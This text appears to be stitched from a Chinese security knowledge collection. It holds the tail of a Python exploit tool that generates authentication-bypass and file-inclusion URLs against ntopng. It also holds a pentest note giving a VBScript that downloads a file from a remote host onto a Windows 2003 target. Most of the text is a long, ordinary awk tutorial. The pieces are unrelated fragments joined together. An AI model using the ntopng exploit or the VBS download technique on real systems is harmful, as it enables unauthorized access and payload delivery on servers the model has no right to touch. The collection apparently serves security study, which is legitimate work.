parser.add_argument('-u', '--url', help='base url for ntopng, eg: http://192.168.1.233:3000', metavar='<URL>', required=True)
parser.add_argument('-v', '--verbose', default=False, action='store_true')
subparsers = parser.add_subparsers(dest='action')
baselength_command = subparsers.add_parser('baselength', help='get base path length of ntopng')
generate_command = subparsers.add_parser('generate', help='generate the authenticate bypass url')
generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
generate_command.add_argument('-p', '--path', help='lua pathname', metavar='<PATH>', required=True)
generate_command = subparsers.add_parser('include', help='generate the arbitrary file inclusion url')
generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)
generate_command.add_argument('-i', '--include', help='path to include', metavar='<PATH>', required=True)
args = parser.parse_args()
if not args.action:
parser.print_help()
sys.exit(1)
if args.verbose:
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
base_url = args.url.rstrip('/')
# check target
if not is_ntopng():
raise RuntimeError('No Ntopng detected')
if args.action == 'baselength':
base_length = get_base_length()
sys.stdout.write(f'ntopng install path length: {base_length}\n')
elif args.action == 'generate':
base_length = args.length
path = args.path
sys.stdout.write(base_url + '/lua/' + '%2e%2f' * get_padding_length(path) + path + '.css\n')
|
sec-knowleage
|
在实战中,会碰到许多让人敬畏的环境,也许无法执行,或者无法把下载参数带入其中,故补充第七季 vbs 参数化的下载。
**靶机:**windows 2003


### 附:源码如下:
```visual basic
strFileURL = "http://192.168.1.115/robots.txt"
strHDLocation = "c:\\test\\logo.txt"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocati on
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
```
> Micropoor
|
sec-knowleage
|
awk
===
文本和数据进行处理的编程语言
## 补充说明
**awk** 是一种编程语言,用于在linux/unix下对文本和数据进行处理。数据可以来自标准输入(stdin)、一个或多个文件,或其它命令的输出。它支持用户自定义函数和动态正则表达式等先进功能,是linux/unix下的一个强大编程工具。它在命令行中使用,但更多是作为脚本来使用。awk有很多内建的功能,比如数组、函数等,这是它和C语言的相同之处,灵活性是awk最大的优势。
## awk命令格式和选项
**语法形式**
```shell
awk [options] 'script' var=value file(s)
awk [options] -f scriptfile var=value file(s)
```
**常用命令选项**
* **-F fs** fs指定输入分隔符,fs可以是字符串或正则表达式,如-F:,默认的分隔符是连续的空格或制表符
* **-v var=value** 赋值一个用户定义变量,将外部变量传递给awk
* **-f scripfile** 从脚本文件中读取awk命令
* **-m[fr] val** 对val值设置内在限制,-mf选项限制分配给val的最大块数目;-mr选项限制记录的最大数目。这两个功能是Bell实验室版awk的扩展功能,在标准awk中不适用。
## awk模式和操作
awk脚本是由模式和操作组成的。
### 模式
模式可以是以下任意一个:
* /正则表达式/:使用通配符的扩展集。
* 关系表达式:使用运算符进行操作,可以是字符串或数字的比较测试。
* 模式匹配表达式:用运算符`~`(匹配)和`!~`(不匹配)。
* BEGIN语句块、pattern语句块、END语句块:参见awk的工作原理
### 操作
操作由一个或多个命令、函数、表达式组成,之间由换行符或分号隔开,并位于大括号内,主要部分是:
* 变量或数组赋值
* 输出命令
* 内置函数
* 控制流语句
## awk脚本基本结构
```shell
awk 'BEGIN{ print "start" } pattern{ commands } END{ print "end" }' file
```
一个awk脚本通常由:BEGIN语句块、能够使用模式匹配的通用语句块、END语句块3部分组成,这三个部分是可选的。任意一个部分都可以不出现在脚本中,脚本通常是被 **单引号** 中,例如:
```shell
awk 'BEGIN{ i=0 } { i++ } END{ print i }' filename
```
### awk的工作原理
```shell
awk 'BEGIN{ commands } pattern{ commands } END{ commands }'
```
* 第一步:执行`BEGIN{ commands }`语句块中的语句;
* 第二步:从文件或标准输入(stdin)读取一行,然后执行`pattern{ commands }`语句块,它逐行扫描文件,从第一行到最后一行重复这个过程,直到文件全部被读取完毕。
* 第三步:当读至输入流末尾时,执行`END{ commands }`语句块。
**BEGIN语句块** 在awk开始从输入流中读取行 **之前** 被执行,这是一个可选的语句块,比如变量初始化、打印输出表格的表头等语句通常可以写在BEGIN语句块中。
**END语句块** 在awk从输入流中读取完所有的行 **之后** 即被执行,比如打印所有行的分析结果这类信息汇总都是在END语句块中完成,它也是一个可选语句块。
**pattern语句块** 中的通用命令是最重要的部分,它也是可选的。如果没有提供pattern语句块,则默认执行`{ print }`,即打印每一个读取到的行,awk读取的每一行都会执行该语句块。
**示例**
```shell
echo -e "A line 1\nA line 2" | awk 'BEGIN{ print "Start" } { print } END{ print "End" }'
Start
A line 1
A line 2
End
```
当使用不带参数的`print`时,它就打印当前行,当`print`的参数是以逗号进行分隔时,打印时则以空格作为定界符。在awk的print语句块中双引号是被当作拼接符使用,例如:
```shell
echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1,var2,var3; }'
v1 v2 v3
```
双引号拼接使用:
```shell
echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1"="var2"="var3; }'
v1=v2=v3
```
{ }类似一个循环体,会对文件中的每一行进行迭代,通常变量初始化语句(如:i=0)以及打印文件头部的语句放入BEGIN语句块中,将打印的结果等语句放在END语句块中。
## awk内置变量(预定义变量)
说明:[A][N][P][G]表示第一个支持变量的工具,[A]=awk、[N]=nawk、[P]=POSIXawk、[G]=gawk
```shell
**$n** 当前记录的第n个字段,比如n为1表示第一个字段,n为2表示第二个字段。
**$0** 这个变量包含执行过程中当前行的文本内容。
[N] **ARGC** 命令行参数的数目。
[G] **ARGIND** 命令行中当前文件的位置(从0开始算)。
[N] **ARGV** 包含命令行参数的数组。
[G] **CONVFMT** 数字转换格式(默认值为%.6g)。
[P] **ENVIRON** 环境变量关联数组。
[N] **ERRNO** 最后一个系统错误的描述。
[G] **FIELDWIDTHS** 字段宽度列表(用空格键分隔)。
[A] **FILENAME** 当前输入文件的名。
[P] **FNR** 同NR,但相对于当前文件。
[A] **FS** 字段分隔符(默认是任何空格)。
[G] **IGNORECASE** 如果为真,则进行忽略大小写的匹配。
[A] **NF** 表示字段数,在执行过程中对应于当前的字段数。
[A] **NR** 表示记录数,在执行过程中对应于当前的行号。
[A] **OFMT** 数字的输出格式(默认值是%.6g)。
[A] **OFS** 输出字段分隔符(默认值是一个空格)。
[A] **ORS** 输出记录分隔符(默认值是一个换行符)。
[A] **RS** 记录分隔符(默认是一个换行符)。
[N] **RSTART** 由match函数所匹配的字符串的第一个位置。
[N] **RLENGTH** 由match函数所匹配的字符串的长度。
[N] **SUBSEP** 数组下标分隔符(默认值是34)。
```
转义序列
```
\\ \自身
\$ 转义$
\t 制表符
\b 退格符
\r 回车符
\n 换行符
\c 取消换行
```
**示例**
```shell
echo -e "line1 f2 f3\nline2 f4 f5\nline3 f6 f7" | awk '{print "Line No:"NR", No of fields:"NF, "$0="$0, "$1="$1, "$2="$2, "$3="$3}'
Line No:1, No of fields:3 $0=line1 f2 f3 $1=line1 $2=f2 $3=f3
Line No:2, No of fields:3 $0=line2 f4 f5 $1=line2 $2=f4 $3=f5
Line No:3, No of fields:3 $0=line3 f6 f7 $1=line3 $2=f6 $3=f7
```
使用`print $NF`可以打印出一行中的最后一个字段,使用`$(NF-1)`则是打印倒数第二个字段,其他以此类推:
```shell
echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $NF}'
f3
f5
```
```shell
echo -e "line1 f2 f3\n line2 f4 f5" | awk '{print $(NF-1)}'
f2
f4
```
打印每一行的第二和第三个字段:
```shell
awk '{ print $2,$3 }' filename
```
统计文件中的行数:
```shell
awk 'END{ print NR }' filename
```
以上命令只使用了END语句块,在读入每一行的时,awk会将NR更新为对应的行号,当到达最后一行NR的值就是最后一行的行号,所以END语句块中的NR就是文件的行数。
一个每一行中第一个字段值累加的例子:
```shell
seq 5 | awk 'BEGIN{ sum=0; print "总和:" } { print $1"+"; sum+=$1 } END{ print "等于"; print sum }'
总和:
1+
2+
3+
4+
5+
等于
15
```
## 将外部变量值传递给awk
借助 **`-v`选项** ,可以将外部值(并非来自stdin)传递给awk:
```shell
VAR=10000
echo | awk -v VARIABLE=$VAR '{ print VARIABLE }'
```
另一种传递外部变量方法:
```shell
var1="aaa"
var2="bbb"
echo | awk '{ print v1,v2 }' v1=$var1 v2=$var2
```
当输入来自于文件时使用:
```shell
awk '{ print v1,v2 }' v1=$var1 v2=$var2 filename
```
以上方法中,变量之间用空格分隔作为awk的命令行参数跟随在BEGIN、{}和END语句块之后。
## 查找进程pid
```shell
netstat -antup | grep 7770 | awk '{ print $NF NR}' | awk '{ print $1}'
```
## awk运算与判断
作为一种程序设计语言所应具有的特点之一,awk支持多种运算,这些运算与C语言提供的基本相同。awk还提供了一系列内置的运算函数(如log、sqr、cos、sin等)和一些用于对字符串进行操作(运算)的函数(如length、substr等等)。这些函数的引用大大的提高了awk的运算功能。作为对条件转移指令的一部分,关系判断是每种程序设计语言都具备的功能,awk也不例外,awk中允许进行多种测试,作为样式匹配,还提供了模式匹配表达式~(匹配)和!~(不匹配)。作为对测试的一种扩充,awk也支持用逻辑运算符。
### 算术运算符
| 运算符 | 描述 |
| ----- | ---- |
| + - | 加,减 |
| * / & | 乘,除与求余 |
| + - ! | 一元加,减和逻辑非 |
| ^ *** | 求幂 |
| ++ -- | 增加或减少,作为前缀或后缀 |
例:
```shell
awk 'BEGIN{a="b";print a++,++a;}'
0 2
```
注意:所有用作算术运算符进行操作,操作数自动转为数值,所有非数值都变为0
### 赋值运算符
| 运算符 | 描述 |
| ----- | ---- |
| = += -= *= /= %= ^= **= | 赋值语句 |
例:
```shell
a+=5; 等价于:a=a+5; 其它同类
```
### 逻辑运算符
| 运算符 | 描述 |
| ----- | ---- |
| `\|\|` | 逻辑或 |
| && | 逻辑与 |
例:
```shell
awk 'BEGIN{a=1;b=2;print (a>5 && b<=2),(a>5 || b<=2);}'
0 1
```
### 正则运算符
| 运算符 | 描述 |
| ----- | ---- |
| ~ !~ | 匹配正则表达式和不匹配正则表达式 |
```
^ 行首
$ 行尾
. 除了换行符以外的任意单个字符
* 前导字符的零个或多个
.* 所有字符
[] 字符组内的任一字符
[^]对字符组内的每个字符取反(不匹配字符组内的每个字符)
^[^] 非字符组内的字符开头的行
[a-z] 小写字母
[A-Z] 大写字母
[a-Z] 小写和大写字母
[0-9] 数字
\< 单词头单词一般以空格或特殊字符做分隔,连续的字符串被当做单词
\> 单词尾
```
> 正则需要用 /正则/ 包围住
例:
```shell
awk 'BEGIN{a="100testa";if(a ~ /^100*/){print "ok";}}'
ok
```
### 关系运算符
| 运算符 | 描述 |
| ----- | ---- |
| < <= > >= != == | 关系运算符 |
例:
```shell
awk 'BEGIN{a=11;if(a >= 9){print "ok";}}'
ok
```
注意:> < 可以作为字符串比较,也可以用作数值比较,关键看操作数如果是字符串就会转换为字符串比较。两个都为数字才转为数值比较。字符串比较:按照ASCII码顺序比较。
### 其它运算符
| 运算符 | 描述 |
| ----- | ---- |
| $ | 字段引用 |
| 空格 | 字符串连接符 |
| ?: | C条件表达式 |
| in | 数组中是否存在某键值 |
例:
```shell
awk 'BEGIN{a="b";print a=="b"?"ok":"err";}'
ok
```
```shell
awk 'BEGIN{a="b";arr[0]="b";arr[1]="c";print (a in arr);}'
0
```
```
awk 'BEGIN{a="b";arr[0]="b";arr["b"]="c";print (a in arr);}'
1
```
### 运算级优先级表
!级别越高越优先
级别越高越优先
## awk高级输入输出
### 读取下一条记录
awk中`next`语句使用:在循环逐行匹配,如果遇到next,就会跳过当前行,直接忽略下面语句。而进行下一行匹配。next语句一般用于多行合并:
```shell
cat text.txt
a
b
c
d
e
awk 'NR%2==1{next}{print NR,$0;}' text.txt
2 b
4 d
```
当记录行号除以2余1,就跳过当前行。下面的`print NR,$0`也不会执行。下一行开始,程序有开始判断`NR%2`值。这个时候记录行号是`:2` ,就会执行下面语句块:`'print NR,$0'`
分析发现需要将包含有“web”行进行跳过,然后需要将内容与下面行合并为一行:
```shell
cat text.txt
web01[192.168.2.100]
httpd ok
tomcat ok
sendmail ok
web02[192.168.2.101]
httpd ok
postfix ok
web03[192.168.2.102]
mysqld ok
httpd ok
0
awk '/^web/{T=$0;next;}{print T":"t,$0;}' text.txt
web01[192.168.2.100]: httpd ok
web01[192.168.2.100]: tomcat ok
web01[192.168.2.100]: sendmail ok
web02[192.168.2.101]: httpd ok
web02[192.168.2.101]: postfix ok
web03[192.168.2.102]: mysqld ok
web03[192.168.2.102]: httpd ok
```
### 简单地读取一条记录
`awk getline`用法:输出重定向需用到`getline函数`。getline从标准输入、管道或者当前正在处理的文件之外的其他输入文件获得输入。它负责从输入获得下一行的内容,并给NF,NR和FNR等内建变量赋值。如果得到一条记录,getline函数返回1,如果到达文件的末尾就返回0,如果出现错误,例如打开文件失败,就返回-1。
getline语法:getline var,变量var包含了特定行的内容。
awk getline从整体上来说,用法说明:
* **当其左右无重定向符`|`或`<`时:** getline作用于当前文件,读入当前文件的第一行给其后跟的变量`var`或`$0`(无变量),应该注意到,由于awk在处理getline之前已经读入了一行,所以getline得到的返回结果是隔行的。
* **当其左右有重定向符`|`或`<`时:** getline则作用于定向输入文件,由于该文件是刚打开,并没有被awk读入一行,只是getline读入,那么getline返回的是该文件的第一行,而不是隔行。
**示例:**
执行linux的`date`命令,并通过管道输出给`getline`,然后再把输出赋值给自定义变量out,并打印它:
```shell
awk 'BEGIN{ "date" | getline out; print out }' test
```
执行shell的date命令,并通过管道输出给getline,然后getline从管道中读取并将输入赋值给out,split函数把变量out转化成数组mon,然后打印数组mon的第二个元素:
```shell
awk 'BEGIN{ "date" | getline out; split(out,mon); print mon[2] }' test
```
命令ls的输出传递给geline作为输入,循环使getline从ls的输出中读取一行,并把它打印到屏幕。这里没有输入文件,因为BEGIN块在打开输入文件前执行,所以可以忽略输入文件。
```shell
awk 'BEGIN{ while( "ls" | getline) print }'
```
### 关闭文件
awk中允许在程序中关闭一个输入或输出文件,方法是使用awk的close语句。
```shell
close("filename")
```
filename可以是getline打开的文件,也可以是stdin,包含文件名的变量或者getline使用的确切命令。或一个输出文件,可以是stdout,包含文件名的变量或使用管道的确切命令。
### 输出到一个文件
awk中允许用如下方式将结果输出到一个文件:
```shell
echo | awk '{printf("hello word!n") > "datafile"}'
# 或
echo | awk '{printf("hello word!n") >> "datafile"}'
```
## 设置字段定界符
默认的字段定界符是空格,可以使用`-F "定界符"` 明确指定一个定界符:
```shell
awk -F: '{ print $NF }' /etc/passwd
# 或
awk 'BEGIN{ FS=":" } { print $NF }' /etc/passwd
```
在`BEGIN语句块`中则可以用`OFS=“定界符”`设置输出字段的定界符。
## 流程控制语句
在linux awk的while、do-while和for语句中允许使用break,continue语句来控制流程走向,也允许使用exit这样的语句来退出。break中断当前正在执行的循环并跳到循环外执行下一条语句。if 是流程选择用法。awk中,流程控制语句,语法结构,与c语言类型。有了这些语句,其实很多shell程序都可以交给awk,而且性能是非常快的。下面是各个语句用法。
### 条件判断语句
```shell
if(表达式)
语句1
else
语句2
```
格式中语句1可以是多个语句,为了方便判断和阅读,最好将多个语句用{}括起来。awk分枝结构允许嵌套,其格式为:
```shell
if(表达式)
{语句1}
else if(表达式)
{语句2}
else
{语句3}
```
示例:
```shell
awk 'BEGIN{
test=100;
if(test>90){
print "very good";
}
else if(test>60){
print "good";
}
else{
print "no pass";
}
}'
very good
```
每条命令语句后面可以用`;` **分号** 结尾。
### 循环语句
### # while语句
```shell
while(表达式)
{语句}
```
示例:
```shell
awk 'BEGIN{
test=100;
total=0;
while(i<=test){
total+=i;
i++;
}
print total;
}'
5050
```
### # for循环
for循环有两种格式:
格式1:
```shell
for(变量 in 数组)
{语句}
```
示例:
```shell
awk 'BEGIN{
for(k in ENVIRON){
print k"="ENVIRON[k];
}
}'
TERM=linux
G_BROKEN_FILENAMES=1
SHLVL=1
pwd=/root/text
...
logname=root
HOME=/root
SSH_CLIENT=192.168.1.21 53087 22
```
注:ENVIRON是awk常量,是子典型数组。
格式2:
```shell
for(变量;条件;表达式)
{语句}
```
示例:
```shell
awk 'BEGIN{
total=0;
for(i=0;i<=100;i++){
total+=i;
}
print total;
}'
5050
```
### # do循环
```shell
do
{语句} while(条件)
```
例子:
```shell
awk 'BEGIN{
total=0;
i=0;
do {total+=i;i++;} while(i<=100)
print total;
}'
5050
```
### 其他语句
* **break** 当 break 语句用于 while 或 for 语句时,导致退出程序循环。
* **continue** 当 continue 语句用于 while 或 for 语句时,使程序循环移动到下一个迭代。
* **next** 能能够导致读入下一个输入行,并返回到脚本的顶部。这可以避免对当前输入行执行其他的操作过程。
* **exit** 语句使主输入循环退出并将控制转移到END,如果END存在的话。如果没有定义END规则,或在END中应用exit语句,则终止脚本的执行。
## 数组应用
数组是awk的灵魂,处理文本中最不能少的就是它的数组处理。因为数组索引(下标)可以是数字和字符串在awk中数组叫做关联数组(associative arrays)。awk 中的数组不必提前声明,也不必声明大小。数组元素用0或空字符串来初始化,这根据上下文而定。
### 数组的定义
数字做数组索引(下标):
```shell
Array[1]="sun"
Array[2]="kai"
```
字符串做数组索引(下标):
```shell
Array["first"]="www"
Array"[last"]="name"
Array["birth"]="1987"
```
使用中`print Array[1]`会打印出sun;使用`print Array[2]`会打印出kai;使用`print["birth"]`会得到1987。
**读取数组的值**
```shell
{ for(item in array) {print array[item]}; } #输出的顺序是随机的
{ for(i=1;i<=len;i++) {print array[i]}; } #Len是数组的长度
```
### 数组相关函数
**得到数组长度:**
```shell
awk 'BEGIN{info="it is a test";lens=split(info,tA," ");print length(tA),lens;}'
4 4
```
length返回字符串以及数组长度,split进行分割字符串为数组,也会返回分割得到数组长度。
```shell
awk 'BEGIN{info="it is a test";split(info,tA," ");print asort(tA);}'
4
```
asort对数组进行排序,返回数组长度。
**输出数组内容(无序,有序输出):**
```shell
awk 'BEGIN{info="it is a test";split(info,tA," ");for(k in tA){print k,tA[k];}}'
4 test
1 it
2 is
3 a
```
`for…in`输出,因为数组是关联数组,默认是无序的。所以通过`for…in`得到是无序的数组。如果需要得到有序数组,需要通过下标获得。
```shell
awk 'BEGIN{info="it is a test";tlen=split(info,tA," ");for(k=1;k<=tlen;k++){print k,tA[k];}}'
1 it
2 is
3 a
4 test
```
注意:数组下标是从1开始,与C数组不一样。
**判断键值存在以及删除键值:**
```shell
# 错误的判断方法:
awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";if(tB["c"]!="1"){print "no found";};for(k in tB){print k,tB[k];}}'
no found
a a1
b b1
c
```
以上出现奇怪问题,`tB[“c”]`没有定义,但是循环时候,发现已经存在该键值,它的值为空,这里需要注意,awk数组是关联数组,只要通过数组引用它的key,就会自动创建改序列。
```shell
# 正确判断方法:
awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";if( "c" in tB){print "ok";};for(k in tB){print k,tB[k];}}'
a a1
b b1
```
`if(key in array)`通过这种方法判断数组中是否包含`key`键值。
```shell
#删除键值:
awk 'BEGIN{tB["a"]="a1";tB["b"]="b1";delete tB["a"];for(k in tB){print k,tB[k];}}'
b b1
```
`delete array[key]`可以删除,对应数组`key`的,序列值。
### 二维、多维数组使用
awk的多维数组在本质上是一维数组,更确切一点,awk在存储上并不支持多维数组。awk提供了逻辑上模拟二维数组的访问方式。例如,`array[2,4]=1`这样的访问是允许的。awk使用一个特殊的字符串`SUBSEP(�34)`作为分割字段,在上面的例子中,关联数组array存储的键值实际上是2�344。
类似一维数组的成员测试,多维数组可以使用`if ( (i,j) in array)`这样的语法,但是下标必须放置在圆括号中。类似一维数组的循环访问,多维数组使用`for ( item in array )`这样的语法遍历数组。与一维数组不同的是,多维数组必须使用`split()`函数来访问单独的下标分量。
```shell
awk 'BEGIN{
for(i=1;i<=9;i++){
for(j=1;j<=9;j++){
tarr[i,j]=i*j; print i,"*",j,"=",tarr[i,j];
}
}
}'
1 * 1 = 1
1 * 2 = 2
1 * 3 = 3
1 * 4 = 4
1 * 5 = 5
1 * 6 = 6
...
9 * 6 = 54
9 * 7 = 63
9 * 8 = 72
9 * 9 = 81
```
可以通过`array[k,k2]`引用获得数组内容。
另一种方法:
```shell
awk 'BEGIN{
for(i=1;i<=9;i++){
for(j=1;j<=9;j++){
tarr[i,j]=i*j;
}
}
for(m in tarr){
split(m,tarr2,SUBSEP); print tarr2[1],"*",tarr2[2],"=",tarr[m];
}
}'
```
## 内置函数
awk内置函数,主要分以下3种类似:算数函数、字符串函数、其它一般函数、时间函数。
### 算术函数
| 格式 | 描述 |
| ---- | ---- |
| atan2( y, x ) | 返回 y/x 的反正切。 |
| cos( x ) | 返回 x 的余弦;x 是弧度。 |
| sin( x ) | 返回 x 的正弦;x 是弧度。 |
| exp( x ) | 返回 x 幂函数。 |
| log( x ) | 返回 x 的自然对数。 |
| sqrt( x ) | 返回 x 平方根。 |
| int( x ) | 返回 x 的截断至整数的值。 |
| rand( ) | 返回任意数字 n,其中 0 <= n < 1。 |
| srand( [expr] ) | 将 rand 函数的种子值设置为 Expr 参数的值,或如果省略 Expr 参数则使用某天的时间。返回先前的种子值。 |
举例说明:
```shell
awk 'BEGIN{OFMT="%.3f";fs=sin(1);fe=exp(10);fl=log(10);fi=int(3.1415);print fs,fe,fl,fi;}'
0.841 22026.466 2.303 3
```
OFMT 设置输出数据格式是保留3位小数。
获得随机数:
```shell
awk 'BEGIN{srand();fr=int(100*rand());print fr;}'
78
awk 'BEGIN{srand();fr=int(100*rand());print fr;}'
31
awk 'BEGIN{srand();fr=int(100*rand());print fr;}'
41
```
### 字符串函数
| 格式 | 描述 |
| ---- | ---- |
| gsub( Ere, Repl, [ In ] ) | 除了正则表达式所有具体值被替代这点,它和 sub 函数完全一样地执行。 |
| sub( Ere, Repl, [ In ] ) | 用 Repl 参数指定的字符串替换 In 参数指定的字符串中的由 Ere 参数指定的扩展正则表达式的第一个具体值。sub 函数返回替换的数量。出现在 Repl 参数指定的字符串中的 &(和符号)由 In 参数指定的与 Ere 参数的指定的扩展正则表达式匹配的字符串替换。如果未指定 In 参数,缺省值是整个记录($0 记录变量)。 |
| index( String1, String2 ) | 在由 String1 参数指定的字符串(其中有出现 String2 指定的参数)中,返回位置,从 1 开始编号。如果 String2 参数不在 String1 参数中出现,则返回 0(零)。 |
| length [(String)] | 返回 String 参数指定的字符串的长度(字符形式)。如果未给出 String 参数,则返回整个记录的长度($0 记录变量)。 |
| blength [(String)] | 返回 String 参数指定的字符串的长度(以字节为单位)。如果未给出 String 参数,则返回整个记录的长度($0 记录变量)。 |
| substr( String, M, [ N ] ) | 返回具有 N 参数指定的字符数量子串。子串从 String 参数指定的字符串取得,其字符以 M 参数指定的位置开始。M 参数指定为将 String 参数中的第一个字符作为编号 1。如果未指定 N 参数,则子串的长度将是 M 参数指定的位置到 String 参数的末尾 的长度。 |
| match( String, Ere ) | 在 String 参数指定的字符串(Ere 参数指定的扩展正则表达式出现在其中)中返回位置(字符形式),从 1 开始编号,或如果 Ere 参数不出现,则返回 0(零)。RSTART 特殊变量设置为返回值。RLENGTH 特殊变量设置为匹配的字符串的长度,或如果未找到任何匹配,则设置为 -1(负一)。|
| split( String, A, [Ere] ) | 将 String 参数指定的参数分割为数组元素 A[1], A[2], . . ., A[n],并返回 n 变量的值。此分隔可以通过 Ere 参数指定的扩展正则表达式进行,或用当前字段分隔符(FS 特殊变量)来进行(如果没有给出 Ere 参数)。除非上下文指明特定的元素还应具有一个数字值,否则 A 数组中的元素用字符串值来创建。 |
| tolower( String ) | 返回 String 参数指定的字符串,字符串中每个大写字符将更改为小写。大写和小写的映射由当前语言环境的 LC_CTYPE 范畴定义。 |
| toupper( String ) | 返回 String 参数指定的字符串,字符串中每个小写字符将更改为大写。大写和小写的映射由当前语言环境的 LC_CTYPE 范畴定义。 |
| sprintf(Format, Expr, Expr, . . . ) | 根据 Format 参数指定的 printf 子例程格式字符串来格式化 Expr 参数指定的表达式并返回最后生成的字符串。 |
注:Ere都可以是正则表达式。
**gsub,sub使用**
```shell
awk 'BEGIN{info="this is a test2010test!";gsub(/[0-9]+/,"!",info);print info}'
this is a test!test!
```
在 info中查找满足正则表达式,`/[0-9]+/` 用`””`替换,并且替换后的值,赋值给info 未给info值,默认是`$0`
**查找字符串(index使用)**
```shell
awk 'BEGIN{info="this is a test2010test!";print index(info,"test")?"ok":"no found";}'
ok
```
未找到,返回0
**正则表达式匹配查找(match使用)**
```
awk 'BEGIN{info="this is a test2010test!";print match(info,/[0-9]+/)?"ok":"no found";}'
ok
```
**截取字符串(substr使用)**
```shell
[wangsl@centos5 ~]$ awk 'BEGIN{info="this is a test2010test!";print substr(info,4,10);}'
s is a tes
```
从第 4个 字符开始,截取10个长度字符串
**字符串分割(split使用)**
```shell
awk 'BEGIN{info="this is a test";split(info,tA," ");print length(tA);for(k in tA){print k,tA[k];}}'
4
4 test
1 this
2 is
3 a
```
分割info,动态创建数组tA,这里比较有意思,`awk for …in`循环,是一个无序的循环。 并不是从数组下标1…n ,因此使用时候需要注意。
**格式化字符串输出(sprintf使用)**
格式化字符串格式:
其中格式化字符串包括两部分内容:一部分是正常字符,这些字符将按原样输出; 另一部分是格式化规定字符,以`"%"`开始,后跟一个或几个规定字符,用来确定输出内容格式。
| 格式 | 描述 | 格式 | 描述 |
| ---- | ---- | ---- | ---- |
| %d | 十进制有符号整数 | %u | 十进制无符号整数 |
| %f | 浮点数 | %s | 字符串 |
| %c | 单个字符 | %p | 指针的值 |
| %e | 指数形式的浮点数 | %x | %X 无符号以十六进制表示的整数 |
| %o | 无符号以八进制表示的整数 | %g | 自动选择合适的表示法 |
```shell
awk 'BEGIN{n1=124.113;n2=-1.224;n3=1.2345; printf("%.2f,%.2u,%.2g,%X,%on",n1,n2,n3,n1,n1);}'
124.11,18446744073709551615,1.2,7C,174
```
### 一般函数
| 格式 | 描述 |
| ---- | ---- |
| close( Expression ) | 用同一个带字符串值的 Expression 参数来关闭由 print 或 printf 语句打开的或调用 getline 函数打开的文件或管道。如果文件或管道成功关闭,则返回 0;其它情况下返回非零值。如果打算写一个文件,并稍后在同一个程序中读取文件,则 close 语句是必需的。 |
| system(command ) | 执行 Command 参数指定的命令,并返回退出状态。等同于 system 子例程。|
| Expression `\|` getline [ Variable ] | 从来自 Expression 参数指定的命令的输出中通过管道传送的流中读取一个输入记录,并将该记录的值指定给 Variable 参数指定的变量。如果当前未打开将 Expression 参数的值作为其命令名称的流,则创建流。创建的流等同于调用 popen 子例程,此时 Command 参数取 Expression 参数的值且 Mode 参数设置为一个是 r 的值。只要流保留打开且 Expression 参数求得同一个字符串,则对 getline 函数的每次后续调用读取另一个记录。如果未指定 Variable 参数,则 $0 记录变量和 NF 特殊变量设置为从流读取的记录。|
| getline [ Variable ] < Expression | 从 Expression 参数指定的文件读取输入的下一个记录,并将 Variable 参数指定的变量设置为该记录的值。只要流保留打开且 Expression 参数对同一个字符串求值,则对 getline 函数的每次后续调用读取另一个记录。如果未指定 Variable 参数,则 $0 记录变量和 NF 特殊变量设置为从流读取的记录。 |
| getline [ Variable ] | 将 Variable 参数指定的变量设置为从当前输入文件读取的下一个输入记录。如果未指定 Variable 参数,则 $0 记录变量设置为该记录的值,还将设置 NF、NR 和 FNR 特殊变量。 |
**打开外部文件(close用法)**
```shell
awk 'BEGIN{while("cat /etc/passwd"|getline){print $0;};close("/etc/passwd");}'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
```
**逐行读取外部文件(getline使用方法)**
```shell
awk 'BEGIN{while(getline < "/etc/passwd"){print $0;};close("/etc/passwd");}'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
```
```shell
awk 'BEGIN{print "Enter your name:";getline name;print name;}'
Enter your name:
chengmo
chengmo
```
**调用外部应用程序(system使用方法)**
```shell
awk 'BEGIN{b=system("ls -al");print b;}'
total 42092
drwxr-xr-x 14 chengmo chengmo 4096 09-30 17:47 .
drwxr-xr-x 95 root root 4096 10-08 14:01 ..
```
b返回值,是执行结果。
### 时间函数
| 格式 | 描述 |
| ---- | ---- |
| 函数名 | 说明 |
| mktime( YYYY MM dd HH MM ss[ DST]) | 生成时间格式 |
| strftime([format [, timestamp]]) | 格式化时间输出,将时间戳转为时间字符串具体格式,见下表。 |
| systime() | 得到时间戳,返回从1970年1月1日开始到当前时间(不计闰年)的整秒数 |
**建指定时间(mktime使用)**
```shell
awk 'BEGIN{tstamp=mktime("2001 01 01 12 12 12");print strftime("%c",tstamp);}'
2001年01月01日 星期一 12时12分12秒
```
```shell
awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=mktime("2001 02 01 0 0 0");print tstamp2-tstamp1;}'
2634468
```
求2个时间段中间时间差,介绍了strftime使用方法
```shell
awk 'BEGIN{tstamp1=mktime("2001 01 01 12 12 12");tstamp2=systime();print tstamp2-tstamp1;}'
308201392
```
**strftime日期和时间格式说明符**
| 格式 | 描述 |
| ---- | ---- |
| %a | 星期几的缩写(Sun) |
| %A | 星期几的完整写法(Sunday) |
| %b | 月名的缩写(Oct) |
| %B | 月名的完整写法(October) |
| %c | 本地日期和时间 |
| %d | 十进制日期 |
| %D | 日期 08/20/99 |
| %e | 日期,如果只有一位会补上一个空格 |
| %H | 用十进制表示24小时格式的小时 |
| %I | 用十进制表示12小时格式的小时 |
